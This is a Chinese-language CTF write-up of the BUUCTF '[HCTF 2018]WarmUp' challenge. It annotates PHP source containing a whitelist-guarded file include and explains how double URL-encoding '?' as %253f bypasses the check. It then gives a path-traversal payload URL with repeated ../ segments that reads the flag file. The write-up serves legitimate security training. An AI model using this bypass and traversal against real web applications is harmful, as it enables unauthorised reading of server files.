zoukankan      html  css  js  c++  java
  • BUUCTF-[HCTF 2018]WarmUp

    php中可以使用strpos函数与mb_strpos函数获取指定的字符串在别一个字符串中首次出现的位置,也可以使用它们判断一串字符串中是否包含别一个字符串.
    PHP strpos() 函数
    查找 "php" 在字符串中第一次出现的位置:<?php
    echo strpos("You love php, I love php too!","php");
    ?>
    运行结果:9

    PHP mb_substr() 函数

    定义和用法mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
    审计题目源码##

    "source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { /*2 为了返回 true 两个条件必须满足 1 page存在 2 page是字符串 , 这里和外层的判断file 一致基本是再次判断了一遍 */ echo "you can't see it"; return false; } /*3 in_array(search,array,type) 函数搜索数组中是否存在指定的值, 白名单过滤,需要返回了ture 所以这里我们传入的page或者是经过截断之后的page必须是soure.php或hint.php, 这里是正常的访问,我们需要构造文件任意包含,所以这里传入的不满足条件,这里不是注意的点,往下继续看 */ if (in_array($page, $whitelist)) { return true; } /* 这里mb_sustr 是个截断,返回0到mb_strpos之间的内容,而mb_strps 则是查找第一次出现的位置, 所以基本可以理解为获取page 两个?之间的字符串, 也就是获取file两个?之间的字符串, 放到url中就是http://ip/?file=ddd?中的file=ddd */ $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { //' 6 这里和上面类似 查看_page 是否在白名单中 return true; } $_page = urldecode($page); // 这里发现对_page进行了一次decode解码, $_page = mb_substr(//获取两个??之间的内容 $_page, 0, mb_strpos($_page . '?', '?') ); // 这里是我们要绕过的点,从这里往上看 尝试构造 if (in_array($_page, $whitelist)) {//白名单 return true; } echo "you can't see it"; return false; } } /*1 必须满足if条件,才能包含file,这里也可以猜到可能考的是文件包含: 1 REQUEST['file']不为空 2 REQUEST['file']是字符串 3 checkFile($_REQUEST['file']) 为ture,回到checkFile 函数分析如何返回true */ if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "
    "; } ?>

    可以看到函数代码中有四个if语句第一个if语句对变量进行检验,要求$page为字符串,否则返回false
    第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
    第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true
    第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
    若以上四个if语句均未返回值,则返回false有三个if语句可以返回true,第二个语句直接判断$page,不可用
    第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
    第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。
    只要这四个if语句有一个为true即可包含file,
    关键点在_page 经过截断后返回true.
    ('?'两次编码值为'%253f'),绕过前面的白名单过滤后构造url:
    http://:/source.php?file=source.php%253f../ffffllllaaaagggg

    无返回值,由于我们不知道ffffllllaaaagggg文件的具体位置,只能依次增加../,最终在http://:/source.php?file=source.php%253f../../../../../ffffllllaaaagggg中成功回显flag

    注:两次url编码,第一次是url传入到服务器时解码了一次,第二次是page传给_page解码了一次
    参考链接:https://www.jianshu.com/p/36eaa95068ca
    https://blog.csdn.net/wang_624/article/details/101433257

  • 相关阅读:
    Security and Cryptography in Python
    Security and Cryptography in Python
    Security and Cryptography in Python
    Security and Cryptography in Python
    Security and Cryptography in Python
    Security and Cryptography in Python
    Security and Cryptography in Python
    微信小程序TodoList
    C语言88案例-找出数列中的最大值和最小值
    C语言88案例-使用指针的指针输出字符串
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/11843171.html
Copyright © 2011-2022 走看看